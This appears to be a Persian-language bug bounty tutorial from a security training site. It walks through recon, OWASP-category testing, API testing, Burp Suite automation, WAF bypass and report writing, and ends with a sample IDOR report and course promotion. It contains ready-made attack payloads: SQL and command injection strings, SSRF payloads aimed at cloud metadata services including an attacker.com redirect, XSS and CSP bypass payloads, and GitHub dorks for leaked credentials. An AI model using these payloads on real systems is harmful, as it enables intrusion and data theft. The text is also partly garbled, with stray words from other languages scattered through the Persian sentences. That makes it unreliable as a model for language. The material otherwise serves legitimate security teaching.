مقدمه: باگبانتی در ۲۰۲۵ - فراتر از اسکنرها
بازار باگبانتی (Bug Bounty) در سال ۲۰۲۵ بهطور چشمگیریubah کرده: برنامهها سختگیرانهتر شدهاند، WAF/EASM (External Attack Surface Management) پیشرفتهتر هستند، و رقابت برای پیدا کردن باگهای Critical/High بالا رفته. اما اصول پیوسته: Recon عمیق، درک منطق برنامه، و تست هدفمند. این راهنما مسیر کامل را از Recon تا گزارش پوشش میدهد.
فاز ۱: Recon - سطح حمله را نقشهبرداری کنید
Recon قویترین مهارت یک باگبانتر است. هدف: یافتن تمام Subdomainها، تکنولوژیها، Endpointها، JavaScriptها، و اطلاعات حساس در Git/Wayback/CDN.
Subdomain Enumeration - ابزارها و تکنیکها
# ۱. Passive Sources (بدون لمس تارگت)
subfinder -d target.com -o subfinder.txt
assetfinder --subs-only target.com | tee assetfinder.txt
amass enum -passive -d target.com -o amass.txt
# ۲. Active Resolution (DNS Bruteforce)
puredns bruteforce /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-5000.txt target.com -r /usr/share/wordlists/resolvers.txt -w puredns.txt
# ۳. Certificate Transparency (CT Logs)
curl -s "https://crt.sh/?q=%.target.com&output=json" | jq -r '.[].name_value' | sed 's/\*\.//g' | sort -u > ct.txt
# ۴. ترکیب و resolución
cat *.txt | sort -u | puredns resolve -r /usr/share/wordlists/resolvers.txt -w resolved.txt
# ۵. HTTP Probe (زنده بودن)
httpx -l resolved.txt -sc -td -cl -title -tech-detect -ip -cdn -o http.txt
# ۶. Port Scan روی Subdomainهای زنده
nmap -iL resolved.txt -p 80,443,8080,8443,8000,8888 -oA nmap_webContent Discovery و JavaScript Analysis
# Feroxbuster / ffuf برای Directory/File Enum
feroxbuster -u https://target.com -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-directories.txt -x php,html,js,txt,json,zip,bak,old -o ferox.txt
# Katana برای Crawl عمیق و Endpoint Discovery
katana -u https://target.com -d 5 -jc -kf -o katana.txt
# Gau / Waymore برای URLهای تاریخی
gau target.com | uro | tee gau.txt
waymore -i target.com -mode U -oU waymore.txt
# JavaScript Analysis - یافتن Endpointها، Secrets، API Keys
subjs -i http.txt -c 100 -o subjs.txt
# یا
nuclei -l http.txt -t /path/to/nuclei-templates/javascript/ -o nuclei_js.txt
# LinkFinder برای استخراج Endpoint از JS
python3 linkfinder.py -i https://target.com/main.js -o cli
# SecretFinder برای API Keys، Tokens
python3 SecretFinder.py -i https://target.com/main.js -o cliGit Dorks و GitHub Recon
# GitHub Dorks (در جستجوی GitHub)
"target.com" password
"target.com" api_key
"target.com" secret
"target.com" token
"target.com" aws_access_key_id
"target.com" ssh_private_key
"target.com" .env
"target.com" config.json
# TruffleHose برای اسکن مخازن
trufflehog github --repo=https://github.com/target/repo --json
# Gitleaks
gitleaks detect --source https://github.com/target/repo --verboseفاز ۲: OWASP Top 10 2025 - باگهای پرپاداش
OWASP Top 10 2025 تغییرات مهمی داشته: A01 Broken Access Control (بالا)، A02 Cryptographic Failures، A03 Injection، A04 Insecure Design (جدید)، A05 Security Misconfiguration، A06 Vulnerable Components، A07 Authentication Failures، A08 Software Integrity Failures، A09 Logging Failures، A10 SSRF (جدید).
A01: Broken Access Control (IDOR / BOLA)
IDOR (Insecure Direct Object Reference) یا BOLA (Broken Object Level Authorization) در APIها پرکاربردترین باگ است. تست: تغییر ID در Request و بررسی دسترسی به دادههای کاربر دیگر.
# در Burp Suite: Autorize Extension برای تست خودکار Access Control
# یا دستی: تغییر user_id در Request
GET /api/v1/users/123/profile → GET /api/v1/users/124/profile
# ffuf برای IDOR در مقیاس بزرگ
ffuf -u https://api.target.com/v1/users/FUZZ/profile -w ids.txt -H "Authorization: Bearer token" -mc 200 -fs 0
# BOLA در GraphQL
query { user(id: 123) { email ssn creditCard } }
# تست با id: 124A03: Injection (SQLi، NoSQLi، Command Injection، LDAPi)
# SQLMap - اتوماسیون کامل
sqlmap -u "https://target.com/product?id=1" --batch --dbs
sqlmap -u "https://target.com/login" --data="user=test&pass=test" --batch --dbs
# NoSQL Injection (MongoDB)
# تست در پارامترهای JSON
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
# Command Injection
; id
| id
`id`
$(id)
|| id
# LDAP Injection
*)(uid=*))(|(uid=*A10: SSRF (Server-Side Request Forgery)
SSRF در ۲۰۲۵ یکی از پرپاداشترین باگهاست. مهاجم سرور را مجبور میکند درخواست به مقاصد داخلی (Metadata Service، Internal API، Cloud Provider) بفرستد.
# Basic SSRF
http://169.254.169.254/latest/meta-data/ # AWS Metadata
http://metadata.google.internal/computeMetadata/v1/ # GCP Metadata
http://169.254.169.254/metadata/instance/ # Azure Metadata
http://localhost:8080/admin
http://127.0.0.1:22
http://[::]:8080
# بایپس با Redirect
http://attacker.com/redirect → 302 → http://169.254.169.254/
# بایپس با DNS Rebinding
# نام دامنه که به 127.0.0.1 resolve میشود
http://rebind.attacker.com/
# بایپس با URL Encoding
http://169.254.169.254/%6c%61%74%65%73%74/meta-data/
# بایپس با IPv6 و IPv4-mapped
http://[::ffff:169.254.169.254]/
# SSRF در PDF Generator / Image Fetcher
# آپلود SVG با <image xlink:href="http://169.254.169.254/"/>
# یا PDF با @import url("http://internal/")XSS (Cross-Site Scripting) - Modern Bypasses
# reflejado XSS
"><script>alert(1)</script>
'><script>alert(1)</script>
"><img src=x onerror=alert(1)>
"><svg onload=alert(1)>
# بایپس WAF با Event Handlers
"><details open ontoggle=alert(1)>
"><video onloadstart=alert(1)>
"><audio onloadstart=alert(1)>
"><body onfocus=alert(1)> (نیاز به 상호작用)
# DOM XSS - Sinks خطرناک
location.hash, document.URL, document.referrer, window.name
innerHTML, outerHTML, document.write, insertAdjacentHTML
eval, setTimeout, setInterval, Function constructor
# CSP Bypass (اگر nonce/unsafe-inline نباشد)
# JSONP endpoint
callback=alert(1)
# AngularJS Sandbox Escape (نسخههای قدیمی)
{{constructor.constructor('alert(1)')()}}
# Trusted Types Bypass
# اگر policy.createHTML وجود داشته باشدفاز ۳: API Security Testing
APIها (REST، GraphQL، gRPC) سطح حمله اصلی مدرن هستند. OWASP API Top 10: Broken Object Level Authorization (BOLA)، Broken Authentication، Excessive Data Exposure، Lack of Resources & Rate Limiting، Broken Function Level Authorization، Mass Assignment، Security Misconfiguration، Injection، Improper Assets Management، Insufficient Logging.
API Recon و Schema Discovery
# یافتن API Endpoints
# از JS Analysis، Swagger/OpenAPI، Postman Collections
# Swagger UI: /swagger، /api/docs، /v1/swagger.json
# GraphQL Introspection: /graphql با query __schema
# GraphQL Introspection
curl -X POST https://api.target.com/graphql -H "Content-Type: application/json" -d '{"query":"{__schema{types{name,fields{name,type{name,kind,ofType{name,kind}}}}} }"}'
# REST API Fuzzing با ffuf
ffuf -u https://api.target.com/v1/FUZZ -w /usr/share/wordlists/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,403,401
# Mass Assignment Test
# POST /api/users با فیلدهای اضافی
{"username": "attacker", "email": "[email protected]", "role": "admin", "isActive": true}
# Rate Limiting Test
for i in {1..100}; do curl -s -o /dev/null -w "%{http_code}
" https://api.target.com/login -d "u=a&p=b"; done | sort | uniq -c
# Broken Function Level Authorization
# دسترسی به Admin Endpoint با User Token
GET /api/admin/users (با User Token)
GET /api/v1/admin/settingsفاز ۴: Burp Suite Pro - ابزار قدرتمند
Burp Suite Pro استاندارد طلایی تست نفوذ وب است.Extensions، BApp Store، Turbo Intruder، و Logger++ برای اتوماسیون ضروریاند.
| Extension / Feature | کاربرد | نصب |
|---|---|---|
| Autorize | تست خودکار Access Control (IDOR/BOLA) | BApp Store |
| AuthMatrix | ماتریس مجوزها برای Role Testing | BApp Store |
| Turbo Intruder | Fuzzing با سرعت بالا (HTTP/2، WebSocket) | Built-in |
| Logger++ | لاگگیری پیشرفته Request/Response | BApp Store |
| Retire.js | تشخیص JS Libraries آسیبپذیر | BApp Store |
| Software Vulnerability Scanner | اسکن passive برای CVE | BApp Store |
| Hackbar | Encode/Decode، SQLi/XSS Payloads سریع | BApp Store |
| JSON Beautifier | فرمت کردن JSON در Request/Response | BApp Store |
| CSP Auditor | تحلیل Content Security Policy | BApp Store |
| Upload Scanner | تست بایپس آپلود فایل | BApp Store |
def queueRequests(target, wordlists):
# target.req: Request اصلی
# wordlists: لیستهای کلمات
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=100,
pipeline=False)
# IDs برای تست IDOR
ids = open('/usr/share/wordlists/ids.txt').read().splitlines()
for id in ids:
# تغییر user_id در Request
req = target.req.replace(b'user_id=123', f'user_id={id}'.encode())
engine.queue(req, gate='race1')
# برای Race Condition
engine.openGate('race1')
engine.complete(timeout=60)
def handleResponse(req, interesting):
if req.status == 200 and len(req.response) > 100:
table.add(req)
فاز ۵: بایپس WAF و فильترها
WAFهای مدرن (Cloudflare، Akamai، AWS WAF، ModSecurity) بر پایه Signature و Behavioral کار میکنند. بایپس نیاز به درک قواعد و تکنیکهای Obfuscation دارد.
تکنیکهای بایپس WAF
# ۱. Case Tampering
UNION SELECT → UnIoN SeLeCt
<script> → <ScRiPt>
# ۲. Encoding
URL Encoding: %53%45%4c%45%43%54
Double URL Encoding: %2553%2545%254c%2545%2543%2554
Unicode: SELECT
HTML Entity: SELECT
# ۳. Comment Injection
UNION/**/SELECT
'/**/OR/**/1=1/**/--
# ۴. HTTP Parameter Pollution (HPP)
?id=1&id=2 (برخی WAF فقط اولین را چک میکنند)
# یا در Body
param=value1¶m=value2
# ۵. HTTP Method Override
X-HTTP-Method-Override: PUT
X-Method-Override: DELETE
# ۶. Header Injection
X-Forwarded-For: 127.0.0.1
X-Original-URL: /admin
X-Rewrite-URL: /admin
# ۷. Chunked Transfer Encoding
Transfer-Encoding: chunked
(بدون Content-Length، برخی WAF بدنه را پارس نمیکنند)
# ۸. JSON/Content-Type Confusion
Content-Type: application/json
{"id": 1, "id": 2} # Duplicate keys در JSON
# ۹. HTTP/2 Smuggling
# استفاده از HTTP/2 برای بایپس صافسازی фронтاند
# ۱۰. Nuclei WAF Detection
nuclei -t /path/to/nuclei-templates/waf/ -u https://target.comفاز ۶: گزارشنویسی حرفهای (Bug Bounty Report)
گزارش خوب تفاوت بین بounty متوسط و بالا است. برنامهها (HackerOne، Bugcrowd، Intigriti) قالب مشخصی دارند. مؤلفههای حیاتی:
| بخش | توضیح | نکات کلیدی |
|---|---|---|
| Title | خلاصه یکخطی باگ | شامل: Vulnerability Type، Affected Component، Impact |
| Summary | توضیح مختصر غیرفنی | برای مدیران، توضیح ریسک کسبوکار |
| Vulnerability Type | دستهبندی (OWASP، CWE) | مثال: CWE-639 (IDOR)، CWE-918 (SSRF) |
| Affected URL/Endpoint | Endpoint دقیق | شامل Method، Path، Parameters |
| Steps to Reproduce | گامبهگام قابل تکرار | شمارهگذاری، curl commands، screenshots |
| Proof of Concept (PoC) | اثبات آسیبپذیری | Video، Screenshot، curl، Burp Request/Response |
| Impact | تأثیر واقعی | دادههای لو رفته، حسابی که هک شد، رنک CVSS |
| Remediation | راهکار رفع | مشخص، قابل اجرا، با مثال کد |
| References | منابع | CVE، OWASP، Blog Posts |
## Title: IDOR in /api/v1/users/{id}/profile Allows Access to Other Users' PII
## Summary
An Insecure Direct Object Reference (IDOR) vulnerability in the user profile endpoint allows authenticated users to access personally identifiable information (PII) of other users by modifying the user_id parameter.
## Vulnerability Type
Broken Access Control (CWE-639) / OWASP API1:2023 - Broken Object Level Authorization
## Affected Endpoint
GET https://api.target.com/v1/users/{user_id}/profile
## Steps to Reproduce
1. Login as User A (user_id=1001) and obtain JWT token
2. Request own profile: GET /v1/users/1001/profile → 200 OK (own data)
3. Modify user_id to 1002: GET /v1/users/1002/profile → 200 OK (User B's data!)
4. Observe exposed PII: email, phone, address, SSN last 4 digits
## Proof of Concept
**cURL Command:**
```bash
curl -H "Authorization: Bearer USER_A_TOKEN" \
"https://api.target.com/v1/users/1002/profile"
```
**Response:**
```json
{
"user_id": 1002,
"email": "[email protected]",
"phone": "+1-555-0123",
"address": "123 Main St, City, State",
"ssn_last4": "1234"
}
```
## Impact
- **Confidentiality**: Full PII exposure of all users (estimated 50,000+ users)
- **CVSS 3.1**: 7.5 HIGH (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N)
- **Compliance**: GDPR Article 32 violation, CCPA exposure risk
- **Business Risk**: Identity theft, phishing, regulatory fines
## Remediation
1. Implement authorization check: Verify 'request.user.id == requested_user_id'
2. Use UUID/GUID instead of sequential integer IDs
3. Implement rate limiting on profile endpoint
4. Add audit logging for cross-user data access
## References
- OWASP API Security Top 10 2023: API1 Broken Object Level Authorization
- CWE-639: Authorization Bypass Through User-Controlled Key
- PortSwigger: IDOR/BOLA Testing Guideچکلیست نهایی قبل از Submit
[ ] باگ در Scope برنامه است؟ (بررسی Policy)
[ ] باگ Duplicate نیست؟ (جستجو در برنامه)
[ ] Reproducible است؟ (تست مجدد در محیط تمیز)
[ ] Impact واقعی و قابل اثبات است؟ (نه Self-XSS، نه Info Disclosure بیمعنا)
[ ] PoC کامل: curl، screenshots، video
[ ] Steps to Reproduce گامبهگام و واضح
[ ] Remediation عملی و مشخص
[ ] CVSS Score محاسبه شده و منصفانه
[ ] زبان محترمانه و حرفهای
[ ] عدم افشای دادههای واقعی قربانی در گزارش (ماسک کردن)
[ ] تست در محیط Stage/Dev اگر در Policy 허용 شده
[ ] احراز هویت: Token/Session معتبر در PoCبرای یادگیری عمیق باگبانتی و تست نفوذ وب، دوره باگبانتی حرفهای روشهای Recon، OWASP Top 10، API Security، و گزارشنویسی را با مثالهای واقعی آموزش میدهد. دوره تست نفوذ وب پیشرفته تکنیکهای پیشرفته XSS، SSRF، و بایپس WAF را پوشش میدهد. برای تمرین در محیط ایزوله، آزمایشگاه آنلاین اکسپلویتفا سناریوهای باگبانتی واقعی را فراهم میکند.
جمعبندی و مسیر یادگیری
باگبانتی مدرن ترکیبی از Recon عمیق، درک معماری برنامه (Microservices، API Gateway، SPA)، مهارت در ابزارها (Burp، ffuf، nuclei، SQLMap)، و گزارشنویسی قوی است. مسیر پیشنهادی:
- پایه: آموزش هک اخلاقی + شبکه برای هکرها
- ابزارها: Kali Linux + Burp Suite Pro (آموزش در دورهها)
- تخصصی وب: دوره تست نفوذ وب پیشرفته + دوره باگبانتی
- API Security: GraphQL، gRPC، WebSocket، JWT/OAuth Testing
- تمرین مداوم: آزمایشگاه آنلاین، PortSwigger Web Security Academy، HackTheBox
- برنامههای باگبانتی: شروع از VDP (Vulnerability Disclosure Program)های آسان، سپس HackerOne/Bugcrowd
The best bug bounty hunters don't just run tools. They understand the application's business logic, data flow, and trust boundaries. Tools find bugs; understanding finds critical bugs.
؟پرسشهای متداول
تفاوت Bug Bounty و Penetration Testing چیست؟
Penetration Testing: با قرارداد، Scope ثابت، زمانبندی، گزارش کامل، و تضمین پوشش. Bug Bounty: بدون قرارداد ثابت، Scope مداوم، پرداخت بر اساس نتیجه (Pay for Results)، رقابت با دیگر الباحثين، و تمرکز روی باگهای Impact بالا. Pentest برای Compliance، Bug Bounty برای یافتن باگهای پرریسک در تولید.
شروع باگبانتی از کجا باشد؟
ابتدا PortSwigger Web Security Academy (رایگان، لبهands-on) را کامل کنید. سپس در VDPهای آسان (VDP = Vulnerability Disclosure Program، بدون بounty، فقط Hall of Fame) تمرین کنید. Beispiele: GitHub، GitLab، Mozilla، Google VDP. بعد از کسب اعتماد، به HackerOne/Bugcrowd بروید.
IDOR / BOLA چگونه تست میشود؟
تغییر شناسه (ID، UUID، slug) در Request و بررسی دسترسی به دادههای کاربر/شخصیت دیگر. در API: Broken Object Level Authorization. ابزار: Burp Autorize Extension، ffuf برای تعداد بالا، و تست دستی برای منطق پیچیده. کلید: دو حساب کاربری مختلف برای تست Cross-user Access.
SSRF چگونه بایپس و اثبات میشود؟
Payloadهای Metadata Service (AWS 169.254.169.254، GCP metadata.google.internal، Azure 169.254.169.254). بایپس: Redirect، DNS Rebinding، URL Encoding، IPv6. اثبات: دریافت resposta از سرویس داخلی، یا DNS/HTTP interaction با سرور مهاجم (Burp Collaborator، interactsh).
GraphQL Security Testing چگونه است؟
Introspection Query برای Schema Discovery. تست: BOLA (query با ID کاربر دیگر)، Batch Attacks (Aliases برای تعداد زیاد Query)، Depth/Complexity DoS، Field Duplication، Introspection Disclosure، Directive Overloading. ابزار: GraphQL Voyager، InQL (Burp Extension)، GraphQL Cop.
گزارش باگبانتی خوب چه ویژگیهایی دارد؟
Title دقیق، Steps to Reproduce گامبهگام، PoC کامل (curl/video/screenshot)، Impact واقعی با CVSS، Remediation عملی، بدون افشای داده قربانی، زبان محترمانه. برنامهها گزارشهای Low Quality را نادیده میگیرند یا Duplicate میدانند.
پیشنیاز یادگیری باگبانتی چیست؟
HTTP/HTTPS، REST API، JavaScript، HTML، SQL، خط فرمان لینوکس، Burp Suite، و درک OWASP Top 10. دوره هک اخلاقی و تست نفوذ وب پیشرفته پایهها را پوشش میدهند.
چگونه از DuplicateReport جلوگیری کنیم؟
قبل از Submit، در برنامه جستجو کنید (Keywords: vulnerability type، endpoint، parameter). در HackerOne/Bugcrowd فیلترهای Status: Resolved/Informative/Duplicate را چک کنید. اگر شباهتی داشت، ابتدا تیکت بزنید و بپرسید.
یادگیری را همین امروز شروع کنید
مسیر حرفهای تست نفوذ را با تمرین عملی طی کنید
در اکسپلویتفا از لینوکس و پایتون شروع کنید و با آزمایشگاه آنلاین، دورههای ویدیویی و گواهینامه قابل استعلام به سطح حرفهای برسید.
مقالات مرتبط
این مقاله را با پروژههای واقعی تمرین کنید
دورههای تخصصی اکسپلویتفا همین مطالب را در قالب آزمایشگاه عملی، ویدیوهای گامبهگام و پشتیبانی مدرس آموزش میدهند؛ با گواهینامهٔ قابل استعلام.
باگبانتی حرفهای
روشهای کشف و گزارش آسیبپذیری در پلتفرمهای باگبانتی و نوشتن گزارش حرفهای.
تست نفوذ وب پیشرفته
تکنیکهای پیشرفته تست نفوذ وبسایتها: XSS پیشرفته، SSRF و فراتر از OWASP Top 10.
هک اخلاقی مبتدی تا متوسط
شروع مسیر امنیت سایبری از مفاهیم پایه شبکه تا تکنیکهای عملی هک اخلاقی.
شبکههای کامپیوتری برای هکرها
مفاهیم پایه شبکه، TCP/IP، مسیریابی و پروتکلهای ضروری برای تست نفوذ.
آشنایی با Kali Linux
آشنایی رایگان با Kali Linux و ابزارهای پایه امنیت.
مهدی غلامیمتخصص امنیت سایبری و مدرس تست نفوذ
مهدی غلامی، متخصص امنیت سایبری و مدرس تست نفوذ در اکسپلویتفا است و بیش از ۱۲ سال در حوزه تست نفوذ، امنیت شبکه و آموزش عملی امنیت فعالیت میکند. دورههای او بر تمرین در آزمایشگاه آنلاین و سناریوهای واقعی متمرکز است و هزاران دانشجو را برای ورود به بازار کار امنیت آماده کرده است.